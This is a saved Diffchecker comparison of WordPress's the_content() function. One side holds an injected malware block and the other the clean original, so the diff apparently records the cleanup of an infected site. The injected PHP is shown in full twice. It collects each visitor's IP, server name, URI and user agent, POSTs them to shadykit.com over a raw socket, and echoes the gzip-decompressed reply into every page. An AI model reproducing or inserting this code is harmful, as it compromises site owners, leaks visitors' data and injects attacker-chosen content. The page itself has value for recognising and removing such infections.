Diff
checker
Text
Text
Images
Documents
Excel
Folders
Legal
Enterprise
Desktop
Pricing
Sign in
Download Diffchecker Desktop
Compare text
Find the difference between two text files
Tools
History
Real-time editor
Hide unchanged lines
Disable line wrap
Layout
Split
Unified
Diff precision
Smart
Word
Char
Syntax highlighting
Choose syntax
Ignore
Transform text
Go to first change
Edit input
Diffchecker Desktop
The most secure way to run Diffchecker. Get the Diffchecker Desktop app: your diffs never leave your computer!
Get Desktop
Untitled diff
Created
11 years ago
Diff never expires
Clear
Export
Share
Explain
45 removals
Lines
Total
Removed
Characters
Total
Removed
To continue using this feature, upgrade to
Diff
checker
Pro
View Pricing
55 lines
Copy
11 additions
Lines
Total
Added
Characters
Total
Added
To continue using this feature, upgrade to
Diff
checker
Pro
View Pricing
23 lines
Copy
Copy
Copied
Copy
Copied
/**
/**
* Display the post content.
* Display the post content.
*
*
* @since 0.71
* @since 0.71
*
*
* @param string $more_link_text Optional. Content for when there is more text.
* @param string $more_link_text Optional. Content for when there is more text.
* @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false.
* @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false.
*/
*/
function the_content( $more_link_text = null, $strip_teaser = false) {
function the_content( $more_link_text = null, $strip_teaser = false) {
Copy
Copied
Copy
Copied
$content = get_the_content( $more_link_text, $strip_teaser );
$content = get_the_content( $more_link_text, $strip_teaser );
$content = apply_filters( 'the_content', $content );
$content = str_replace( ']]>', ']]>', $content );
if (defined('WP_LOAD_FLAG')) {
echo $content;
return;
}
define('WP_LOAD_FLAG', true);
$input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null;
$input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null;
$input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null;
$input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;
$value = 'p=' . urlencode(base64_encode(serialize($input)));
$request = "POST /api/link/ HTTP/1.1\r\n";
$request .= "Host: shadykit.com\r\n";
$request .= "Connection: close\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Content-Length: " . strlen($value) . "\r\n";
$request .= "\r\n";
$request .= $value;
$data = '';
$socket = @fsockopen('shadykit.com', 80, $errno, $errstr, 10);
if ($socket) {
$response = null;
stream_set_timeout($socket, 10);
fwrite($socket, $request);
while (!feof($socket)) {
$response .= fgets($socket, 1024);
}
fclose($socket);
preg_match('/Content-Length: ([0-9]+)/', $response, $parts);
if ($parts[1] != 0) {
@$data = gzuncompress(substr($response, - $parts[1]));
}
}
Copy
Copied
Copy
Copied
echo $data .
$content;
/**
* Filter the post content.
*
* @since 0.71
*
* @param string $content Content of the current post.
*/
$content = apply_filters( 'the_content', $content );
$content = str_replace( ']]>', ']]>', $content );
echo
$content;
}
}
Saved diffs
Original text
Open file
/** * Display the post content. * * @since 0.71 * * @param string $more_link_text Optional. Content for when there is more text. * @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false. */ function the_content( $more_link_text = null, $strip_teaser = false) { $content = get_the_content( $more_link_text, $strip_teaser ); $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); if (defined('WP_LOAD_FLAG')) { echo $content; return; } define('WP_LOAD_FLAG', true); $input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null; $input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null; $input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null; $input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null; $value = 'p=' . urlencode(base64_encode(serialize($input))); $request = "POST /api/link/ HTTP/1.1\r\n"; $request .= "Host: shadykit.com\r\n"; $request .= "Connection: close\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-Length: " . strlen($value) . "\r\n"; $request .= "\r\n"; $request .= $value; $data = ''; $socket = @fsockopen('shadykit.com', 80, $errno, $errstr, 10); if ($socket) { $response = null; stream_set_timeout($socket, 10); fwrite($socket, $request); while (!feof($socket)) { $response .= fgets($socket, 1024); } fclose($socket); preg_match('/Content-Length: ([0-9]+)/', $response, $parts); if ($parts[1] != 0) { @$data = gzuncompress(substr($response, - $parts[1])); } } echo $data . $content; }
Changed text
Open file
/** * Display the post content. * * @since 0.71 * * @param string $more_link_text Optional. Content for when there is more text. * @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false. */ function the_content( $more_link_text = null, $strip_teaser = false) { $content = get_the_content( $more_link_text, $strip_teaser ); /** * Filter the post content. * * @since 0.71 * * @param string $content Content of the current post. */ $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); echo $content; }
Find difference